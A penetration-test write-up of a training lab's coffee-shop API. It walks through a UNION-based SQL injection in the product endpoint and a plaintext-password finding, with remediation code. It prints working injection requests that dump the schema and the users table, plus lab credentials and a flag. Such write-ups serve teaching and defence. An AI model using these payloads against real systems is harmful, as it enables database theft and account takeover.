Part 1 — Pentest Report

Executive Summary

Cafe Club is a React SPA backed by an Express JSON API for a coffee e-commerce app with a “CafeClub” loyalty points system. The API is JWT authenticated (HS256) and sits on top of a SQLite 3.44.2 database.

Testing confirmed two findings:

Root cause of F1 is a raw numeric concatenation of the :id path segment into a SQLite WHERE id = ${id} query, with no parameterization and no integer validation. The endpoint catches all DB exceptions and returns 404 Product not found, which hides syntax errors from quote based probes but cannot hide arithmetic or boolean semantics — /api/products/5-1 evaluates as SQL and returns the product with id=4, giving a clean detection signal in a single request. From there, an 8 column UNION exposes the full schema and the users table. The admin row’s password field holds the lab flag directly, and every user in the table has a cleartext password (F2), so the SQLi also yields full credential harvest.

Objective

Recover the lab flag hosted in BugForge’s “Cafe Club” coffee e-commerce application by exploiting a SQL injection somewhere in the public API.

Scope / Initial Access

# Target Application
URL: https://lab-1776615479411-mz3wd3.labs-app.bugforge.io

# Auth
POST /api/register → {username, email, password, full_name, address, phone}
POST /api/login    → {username, password}  → returns JWT HS256
                     payload: {"id":5,"username":"haxor","iat":...}
Authorization: Bearer <jwt>   on protected endpoints

# Test account used
haxor / <password>  (id=5, role=user)

Self registration is open. The JWT has no role claim — server side code looks up role from the DB. No admin credentials were provided or needed; the exploited SQLi does not require authentication.

Reconnaissance — React Bundle Endpoint Inventory

The SPA is a single minified bundle (main.6be39f50.js, ~515KB). Walking the app through Caido while grepping the bundle for /api/ string literals produced a complete route inventory without having to click through every page:

1. /api/register, /api/login, /api/verify-token, /api/profile, /api/profile/password — auth and account surface.
2. /api/products, /api/products/:id, /api/products/:id/reviews — product catalog, with a search and category query string pair on the index route.
3. /api/cart, /api/favorites/:id, /api/orders, /api/orders/:id, /api/checkout — storefront flow with a points_to_use field on checkout.
4. X-Powered-By: Express and a created_at timestamp format of YYYY-MM-DD HH:MM:SS — both consistent with an Express + SQLite stack; SQLite was later confirmed via sqlite_version() (3.44.2).
5. The user model echoed by GET /api/profile includes a role field (user / admin), which identified users as the interesting table once SQL injection was confirmed.

With the route list in hand, Stage 1 testing ran a broad set of cheap probes across every input surface — path integers, query strings, JSON body fields, and search parameters — before investing in any single vector.

Application Architecture

API Surface (observed)

Known Users (recovered via F1)

Attack Chain Visualization

┌─────────────────┐   ┌───────────────────┐   ┌───────────────────┐   ┌─────────────────────┐
│  Enumerate API  │──▶│  Arithmetic probe │──▶│  ORDER BY ladder  │──▶│  UNION SELECT       │
│  from React     │   │  /api/products/   │   │  1..8 → 200       │   │  sqlite_version()   │
│  bundle +       │   │  5-1 → id=4       │   │  /9  → 404        │   │  → 3.44.2           │
│  Caido history  │   │  (raw concat)     │   │  (8 columns)      │   │                     │
└─────────────────┘   └───────────────────┘   └───────────────────┘   └─────────────────────┘
                                                                                │
                                                                                ▼
                       ┌───────────────────────────────────────────────────────────────┐
                       │  UNION SELECT ... FROM sqlite_master → schema (users table)   │
                       │  UNION SELECT password FROM users WHERE username='admin'      │
                       │  → flag recovered directly from cleartext password column     │
                       └───────────────────────────────────────────────────────────────┘

Findings

F1 — UNION based SQL Injection in GET /api/products/:id

Severity: Critical CVSS v3.1: 9.8 — CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H CWE: CWE-89 (SQL Injection) Endpoint: GET /api/products/:id Authentication required: No

Description

The :id segment of /api/products/:id is concatenated directly into the SQL query. The shape of the query, inferred from behavior, is:

SELECT <8 columns> FROM products WHERE id = ${id}

Two observations together confirm raw concatenation rather than a parameterized query:

1. Arithmetic evaluates. /api/products/5-1 returns the product with id=4 (Brazilian Santos) rather than 404 or an error. A parameterized query would pass the literal string "5-1" to the driver and fail to find a matching row.
2. The WHERE predicate is controllable. /api/products/0 OR 1=1 returns the product with id=1 — a different row from the one requested in the path — demonstrating that the injected condition is folded into the WHERE clause.

The endpoint has an exception handler that catches all DB errors and returns {"error":"Product not found"} with HTTP 404. This hides the usual syntax error signal from single quote probes (/api/products/4' returns 404, not 500), but cannot hide arithmetic or boolean semantics. A probe list that leads with ' misses this vector; a probe list that includes 5-1 or 0 OR 1=1 detects it in one request.

With injection confirmed, the remaining steps are mechanical: an ORDER BY ladder determined the column count is 8 (ORDER BY 8 → 200, ORDER BY 9 → 404), a UNION SELECT with 8 NULLs reflected the product JSON shape, and sqlite_version() confirmed SQLite 3.44.2. From there, sqlite_master yields the schema and users yields the admin password.

Impact

Unauthenticated, remote, read level full database access:

• Full schema disclosure via sqlite_master.
• Full user table disclosure, including cleartext passwords (see F2) for every account — including the admin (bug{dHvfzZ161XOWtSp04F3yc4Ag1qT4CsR5}).
• Any other table in the database (orders, order_items, favorites, reviews, cart_items) is equally readable; order history, card metadata, and product data are exposed by the same vector.
• Credential harvest combined with plaintext storage (F2) means account takeover of every user, including admin, is reachable from a single endpoint without any credentials.

Write capability (UPDATE / INSERT / DELETE) was not tested — the flag was available via read-only UNION and further destructive testing was out of scope for the engagement.

Reproduction

All requests are unauthenticated. URL encoding the spaces and comment terminator is required on the path; --%20- is the SQLite safe form of the trailing comment.

Step 1 — Detect raw concatenation with an arithmetic probe

GET /api/products/5-1 HTTP/1.1
Host: lab-1776615479411-mz3wd3.labs-app.bugforge.io

Response: 200 OK, body includes "id":4,"name":"Brazilian Santos",.... The server evaluated 5-1 as SQL, proving the path is inlined into the query. A single quote probe on the same endpoint (/api/products/4') returns 404 Product not found because the handler suppresses DB errors — the arithmetic probe is the faster detection.

Step 2 — Confirm the WHERE predicate is controllable

GET /api/products/0%20OR%201=1 HTTP/1.1

Response: 200 OK, body returns the product with id=1. The injected OR 1=1 folds into the WHERE clause and returns the first matching row, confirming the injection context is a numeric predicate.

Step 3 — Determine column count via ORDER BY ladder

GET /api/products/4%20ORDER%20BY%208--%20- HTTP/1.1   → 200 OK
GET /api/products/4%20ORDER%20BY%209--%20- HTTP/1.1   → 404 Product not found

Column count is 8.

Step 4 — Confirm UNION shape with 8 NULLs

GET /api/products/-1%20UNION%20SELECT%20NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL--%20- HTTP/1.1

Response: 200 OK, body {"id":null,"name":null,"description":null,"price":null,"category":null,"image_url":null,"stock":null,"created_at":null}. The leading -1 forces the original predicate to match no rows so the UNION row is returned alone. Column positions 1 (id), 2 (name), and 3 (description) are string-safe for output reflection.

Step 5 — Fingerprint the database engine

GET /api/products/-1%20UNION%20SELECT%201,sqlite_version(),3,4,5,6,7,8--%20- HTTP/1.1

Response: "name":"3.44.2". Engine confirmed as SQLite 3.44.2.

Step 6 — Dump the schema

GET /api/products/-1%20UNION%20SELECT%201,group_concat(name),3,4,5,6,7,8%20FROM%20sqlite_master%20WHERE%20type='table'--%20- HTTP/1.1

Response: "name":"users,sqlite_sequence,products,orders,order_items,favorites,reviews,cart_items". The users table is the target.

Step 7 — Extract the admin password

GET /api/products/-1%20UNION%20SELECT%201,password,3,4,5,6,7,8%20FROM%20users%20WHERE%20username='admin'--%20- HTTP/1.1

Response: "name":"bug{dHvfzZ161XOWtSp04F3yc4Ag1qT4CsR5}". The admin password column holds the lab flag directly — no decoding or hash cracking required because passwords are stored in cleartext (see F2).

Remediation

Fix 1 — Parameterize the query and validate the path parameter as an integer

The root cause is string concatenation of a path segment into a SQL statement. Parameterization via the SQLite driver prevents injection regardless of input. Pair it with an integer validator so a non-numeric :id fails before reaching the driver at all.

// BEFORE (Vulnerable)
app.get('/api/products/:id', async (req, res) => {
  try {
    const row = await db.get(
      `SELECT id, name, description, price, category, image_url, stock, created_at
         FROM products WHERE id = ${req.params.id}`   // raw concat
    );
    if (!row) return res.status(404).json({ error: 'Product not found' });
    return res.json(row);
  } catch (e) {
    return res.status(404).json({ error: 'Product not found' }); // also hides SQL errors
  }
});

// AFTER (Secure)
app.get('/api/products/:id', async (req, res) => {
  const id = Number.parseInt(req.params.id, 10);
  if (!Number.isInteger(id) || id <= 0 || String(id) !== req.params.id) {
    return res.status(400).json({ error: 'Invalid product id' });
  }
  const row = await db.get(
    `SELECT id, name, description, price, category, image_url, stock, created_at
       FROM products WHERE id = ?`,
    [id]
  );
  if (!row) return res.status(404).json({ error: 'Product not found' });
  return res.json(row);
});

Fix 2 — Stop suppressing SQL errors as 404s

Catching every exception and returning 404 Product not found hides real bugs from monitoring and slows down triage; it also does nothing to stop injection because arithmetic and boolean semantics do not throw. The handler should let SQL errors bubble to a generic 500 that is logged server side, with a generic error returned to the client.

// AFTER
app.get('/api/products/:id', async (req, res, next) => {
  try {
    // ...parameterized query as above...
  } catch (e) {
    req.log.error({ err: e, route: req.path }, 'db error');
    return res.status(500).json({ error: 'Internal error' });
  }
});

Additional recommendations:

• Audit every other endpoint that interpolates into SQL. The checkout points_to_use field and the review rating field both returned 500 Database error on basic single quote probes (U1, U2 below) — strong circumstantial evidence of the same defect elsewhere. A codebase wide grep for template literals inside db.get / db.all / db.run calls will catch the siblings.
• Apply a query builder or ORM consistently. Raw SQL concatenation is easy to re-introduce one endpoint at a time. An ORM (Prisma, Knex) or a linter rule that forbids template literals inside DB calls removes the foot-gun at the language level.
• Run static analysis in CI. eslint-plugin-security (detects detect-non-literal-fs-filename / string concatenation patterns), semgrep with the javascript.express.security.audit.express-sqli ruleset, or equivalent, would flag the WHERE id = ${id} pattern before merge.

F2 — Plaintext Password Storage in users.password

Severity: High CVSS v3.1: 7.5 — CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N CWE: CWE-256 (Plaintext Storage of a Password), CWE-257 (Storing Passwords in a Recoverable Format) Endpoint: users.password column (observed via F1) Authentication required: No (via F1)

Description

The users.password column holds the literal password value for every account — not a hash. This was observed directly by dumping the column via the F1 SQL injection:

Because UNION returns the column value verbatim and each string is directly usable at /api/login, the storage format is cleartext rather than a hash or reversible encoding. (bug{...} is the lab flag re-used as the admin password — a lab convenience — but the other three values are standard cleartext passwords, confirming the pattern is not limited to the admin row.)

Impact

• Any read level disclosure of users.password (F1 here, but any future SQL injection, backup leak, or backend log exposure would have the same effect) immediately gives full account takeover of every user, including admin.
• Users who reuse passwords across services are exposed on those services as well.
• The compromise is irrecoverable by rotation alone — every existing user’s password must be invalidated and reset on disclosure.

Reproduction

Reached via F1. Once UNION extraction is working (Step 4 of F1), dump the full column:

GET /api/products/-1%20UNION%20SELECT%201,group_concat(username||':'||password,'|'),3,4,5,6,7,8%20FROM%20users--%20- HTTP/1.1

Response (name field):

admin:bug{dHvfzZ161XOWtSp04F3yc4Ag1qT4CsR5}|coffeelover:password123|beanmaster:beans456|brewista:brew789

Validation — re-authenticating with a non-admin cleartext value against /api/login:

POST /api/login HTTP/1.1
Content-Type: application/json

{"username":"coffeelover","password":"password123"}

Response: 200 OK with a JWT, confirming the stored value is the actual password (not a hash that happens to look cleartext).

Remediation

Fix — Store a per-user salted password hash and verify on login

Use a modern password hashing function (argon2id preferred, bcrypt acceptable) with a unique salt per user. The plaintext value should never touch the database.

// BEFORE (Vulnerable) — registration
await db.run(
  'INSERT INTO users (username, email, password, role) VALUES (?, ?, ?, ?)',
  [username, email, password, 'user']        // stores cleartext
);

// BEFORE (Vulnerable) — login
const user = await db.get('SELECT * FROM users WHERE username = ?', [username]);
if (user && user.password === password) {    // string equality on cleartext
  return signJwt({ id: user.id, username });
}

// AFTER (Secure) — registration
import argon2 from 'argon2';
const hash = await argon2.hash(password, { type: argon2.argon2id });
await db.run(
  'INSERT INTO users (username, email, password_hash, role) VALUES (?, ?, ?, ?)',
  [username, email, hash, 'user']
);

// AFTER (Secure) — login
const user = await db.get('SELECT * FROM users WHERE username = ?', [username]);
if (user && await argon2.verify(user.password_hash, password)) {
  return signJwt({ id: user.id, username });
}

Additional recommendations:

• Migrate existing passwords. On next login, rehash with argon2id and replace the cleartext column. After a fixed cutover date, invalidate any account still holding a cleartext value and require a password reset.
• Drop the old password column and rename to password_hash. This prevents accidental re-introduction of cleartext writes via an outdated ORM model or a copy/pasted INSERT.
• Audit logs and backups. Cleartext passwords previously held in the users table are likely also present in DB backups, replication snapshots, and any logs that captured INSERT statements. Those copies need to be purged or rotated out.
• Enforce password reset on disclosure. Because F1 disclosed every current user’s password, the remediation for this engagement must include a forced reset for all four known users, not just admin.

OWASP Top 10 Coverage

• A03:2021 — Injection: GET /api/products/:id concatenates the raw :id path segment into a SQLite query. Classic SQL injection (CWE-89), reachable unauthenticated, yielding full read access to the database.
• A02:2021 — Cryptographic Failures: The users.password column stores cleartext rather than a password hash. Once the database is readable (via F1 or any future disclosure), every user credential is exposed in directly usable form.
• A04:2021 — Insecure Design: The exception handler on GET /api/products/:id swallows all DB errors into a 404 Product not found response. This hides real failures from monitoring without preventing injection — a design that trades defenders’ visibility for no attacker-side difficulty.
• A09:2021 — Security Logging and Monitoring Failures: Error suppression as 404 means SQL syntax errors produced by probe traffic are invisible both in the response and, almost certainly, in whatever logging derives from HTTP status codes. The injection testing that confirmed F1 should have been loud in a log pipeline and was not.

Tools Used

References

• CWE-89: SQL Injection
• CWE-256: Plaintext Storage of a Password
• CWE-257: Storing Passwords in a Recoverable Format
• OWASP Top 10 A03:2021 — Injection
• OWASP Top 10 A02:2021 — Cryptographic Failures
• OWASP SQL Injection Prevention Cheat Sheet
• OWASP Password Storage Cheat Sheet
• SQLite Documentation — sqlite_master

Part 2 — Notes / Knowledge

Key Learnings

• Lead injection probes with arithmetic, not quotes. The single quote probe is the textbook SQLi detection, and it is specifically the one this app defeats by catching DB exceptions and returning 404. An arithmetic probe (/endpoint/5-1 → is the response the id=4 row?) passes through the exception path entirely because valid SQL does not throw, and answers the detection question in one request. Add arithmetic to the front of any numeric path probe set; quote only probes are easy to silence with a single try/catch.

• Boolean-semantics probes beat error-based probes when handlers suppress errors. /endpoint/0 OR 1=1 returning a different row than /endpoint/0 is a stronger signal than a 500 — it requires the server to evaluate the injected predicate, which cannot be faked by an exception handler. Pair arithmetic and boolean probes; they cover the two realistic error suppression patterns (catch-all 404, catch-all 500).

• Map API surface from the SPA bundle before clicking through the UI. Grepping main.*.js for /api/ string literals assembles a route inventory faster than navigating the app and exposes routes the UI may not surface at all (admin-only paths, debug routes, deprecated endpoints). On a 500KB+ bundle this takes one command and replaces the first hour of manual recon.

• Distinguish “plaintext in response” from “plaintext in storage” — and know when you actually can claim storage. Usually, observing a plaintext password in a response only proves the API is returning cleartext; the storage layer may still be hashed and unhashed on the fly. Here, the distinction collapses: UNION SELECT reads the column value directly from the database row, so “the DB stores plaintext” is directly observable rather than inferred. When making the claim in a report, be explicit about why it’s supported (“observed via direct SELECT password FROM users”), not handwaved.

• When the flag is a stored password, the finding above it still matters. The temptation with lab flags living in users.password is to write only the SQLi up and leave plaintext storage as a one-liner. But in a real world report, cleartext password storage is a separate finding with a different fix owner, a different CVSS vector, and a different remediation (migration, not patching). Keep them split; the SQLi fix does not make the storage problem go away.

Failed Approaches

Out of Scope / Not Tested

F1 delivered the flag; the following surfaces showed plausible signal and are worth re-testing if scope reopens:

• U1 — POST /api/products/:id/reviews rating field. A probe of {"rating":"5'"} returned 500 Database error. This is the opposite error handling pattern from F1 (raw 500 rather than swallowed 404) and suggests a distinct code path with its own injection candidate. Not exercised because F1 was sufficient for the flag.
• U2 — POST /api/checkout points_to_use field. A probe of {"points_to_use":"0'"} also returned 500 Database error. Same reasoning as U1; same follow up owed.
• PUT /api/profile mass assignment. The response echoed role and points. Not tested whether sending {"role":"admin"} or {"points":99999999} in the body is honored server-side — a classic mass assignment pattern that would short circuit the rest of this engagement if present.
• PUT /api/profile/password missing old password check. The endpoint takes a single password field with no current_password. Combined with a stolen JWT (or CSRF if cookies are involved), this is an account takeover primitive. Authentication design, not tested for exploitability end-to-end.
• JWT HS256 weak secret. token is HS256. A guessable or leaked secret would allow forging any user’s session — worth a dictionary attack against the token in a bounty context.
• Write-level SQL injection via F1. UNION read was sufficient for the flag; stacked queries / UPDATE / INSERT were not attempted. SQLite’s default driver configuration typically disallows stacked statements, but UPDATE ... WHERE id = -1 UNION ... style writes via a different vulnerable endpoint remain plausible.

Tags: #sql-injection #union-based #sqlite #plaintext-passwords #cwe-89 #cwe-256 #bugforge #webapp Document Version: 1.0 Last Updated: 2026-04-19